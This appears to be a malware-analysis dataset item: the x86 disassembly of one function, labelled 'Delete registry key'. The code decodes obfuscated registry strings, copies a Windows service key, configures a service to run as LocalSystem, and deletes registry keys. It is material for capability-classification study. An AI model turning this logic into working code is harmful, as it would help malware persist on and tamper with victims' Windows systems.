Function at 0x403950
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4f8
push edi
mov byte [ebp - 4], 0
mov eax, dword [str.sOFtwaRe_]
mov dword [ebp - 0x4d0], eax
mov ecx, dword [0x42eb78]
mov dword [ebp - 0x4cc], ecx
mov dx, word [0x42eb7c]
mov word [ebp - 0x4c8], dx
mov ecx, 0x16
xor eax, eax
lea edi, [ebp - 0x4c6]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x4d0]
push eax
call fcn.00401840
add esp, 4
lea ecx, [ebp + eax - 0x4d0]
mov dword [ebp - 0x4e4], ecx
push 0xa
mov edx, dword [ebp - 0x4e4]
push edx
call fcn.00401800
add esp, 8
mov eax, dword [ebp - 0x4e4]
mov byte [eax + 0xa], 0
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00403210
add esp, 4
push 0
mov edx, dword [ebp + 0xc]
push edx
call fcn.00401840
add esp, 4
push eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.00402800
add esp, 0xc
cmp eax, 0x723f2ad5
jne 0x403a01
mov al, byte [ebp - 4]
jmp 0x403d68
lea ecx, [ebp - 0x4d0]
push ecx
lea edx, [ebp - 0x46c]
push edx
call fcn.00401e80
add esp, 8
mov eax, dword [ebp - 0x4e4]
mov byte [eax + 9], 0
push 0
lea ecx, [ebp - 0x4e0]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea edx, [ebp - 0x4d0]
push edx
push 0x80000002
call dword [0x42ec88]
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea ecx, [ebp - 0x46c]
push ecx
push 0x80000002
call dword [0x42ec88]
mov byte [ebp - 0x408], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x407]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edx, dword [str.SYSTEMCurrentControlSet_seRviCes_]
push edx
lea eax, [ebp - 0x408]
push eax
call fcn.00401e80
add esp, 8
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x408]
push edx
call fcn.004027b0
add esp, 8
push 0
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x408]
push ecx
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHCopyKeyA]
mov edx, dword [str.NIAmeciVRes]
mov dword [ebp - 0x4dc], edx
mov eax, dword [0x42eb6c]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [0x42eb70]
mov dword [ebp - 0x4d4], ecx
push 0
push 0
call fcn.00402020
push eax
push 1
lea edx, [ebp - 0x4dc]
push edx
call fcn.00403250
add esp, 4
push eax
lea eax, [ebp - 0x4d0]
push eax
push 0x80000002
call fcn.004032b0
mov ecx, dword [0x42eb64]
mov dword [ebp - 0x4d5], ecx
push 0
push 0
mov edx, dword [ebp + 0x10]
push edx
push 2
lea eax, [ebp - 0x4dc]
push eax
lea ecx, [ebp - 0x4d0]
push ecx
push 0x80000002
call fcn.004032b0
movsx edx, byte [0x42f724]
test edx, edx
je 0x403ba0
mov eax, dword [str.UPdatecXc]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [0x42eb5c]
mov dword [ebp - 0x4ec], ecx
mov dx, word [0x42eb60]
mov word [ebp - 0x4e8], dx
mov byte [ebp - 0x4e9], 0x72
push 1
push 0
push 0x42f724
push 1
lea eax, [ebp - 0x4f0]
push eax
lea ecx, [ebp - 0x4d0]
push ecx
push 0x80000002
call fcn.004032b0
mov edx, dword [str.eludom]
mov dword [ebp - 0x4f8], edx
mov ax, word [0x42ea90]
mov word [ebp - 0x4f4], ax
mov cl, byte [0x42ea92]
mov byte [ebp - 0x4f2], cl
push 1
push 0
push 0x42f758
push 1
lea edx, [ebp - 0x4f8]
push edx
call fcn.00403250
add esp, 4
push eax
lea eax, [ebp - 0x4d0]
push eax
push 0x80000002
call fcn.004032b0
push 0x42eb54
call fcn.00401840
add esp, 4
add eax, 1
push eax
push 0x42eb54
lea ecx, [ebp - 0x408]
push ecx
call fcn.00401840
add esp, 4
lea edx, [ebp + eax - 0x408]
push edx
call fcn.00402100
add esp, 0xc
push str.rameters
lea eax, [ebp - 0x408]
push eax
call fcn.004027b0
add esp, 8
lea ecx, [ebp - 0x408]
push ecx
push 0x80000002
lea edx, [ebp - 0x4d0]
push edx
push 0x80000002
call fcn.004036b0
add esp, 0x10
and eax, 0xff
test eax, eax
je 0x403d2a
push 0
push 0x42f964
push str.LocalSystem
push 0x42f964
push 0
push 0x42f964
push 0
push 0
push 2
push 0xffffffffffffffff
mov eax, dword [ebp + 8]
push eax
call dword [0x42ecb0]
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.00401a90
add esp, 4
test eax, eax
je 0x403cb6
mov edx, dword [ebp + 8]
push edx
call fcn.004037f0
add esp, 4
and eax, 0xff
test eax, eax
jne 0x403cec
push 0x5c
lea eax, [ebp - 0x408]
push eax
call fcn.00401690
add esp, 8
mov byte [eax], 0
lea ecx, [ebp - 0x408]
push ecx
push 0x80000002
lea edx, [ebp - 0x46c]
push edx
push 0x80000002
call fcn.004036b0
add esp, 0x10
jmp 0x403d2a
mov byte [ebp - 4], 1
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x408]
push ecx
call fcn.00401e80
add esp, 8
push str..rdb
lea edx, [ebp - 0x408]
push edx
call fcn.00403040
add esp, 8
push 0
lea eax, [ebp - 0x408]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [0x42ecc4]
mov edx, dword [ebp - 0x4e0]
push edx
call dword [0x42ec4c]
mov eax, dword [ebp - 8]
push eax
call dword [0x42ec4c]
lea ecx, [ebp - 0x4d0]
push ecx
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
lea edx, [ebp - 0x46c]
push edx
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov al, byte [ebp - 4]
pop edi
mov esp, ebp
pop ebp
ret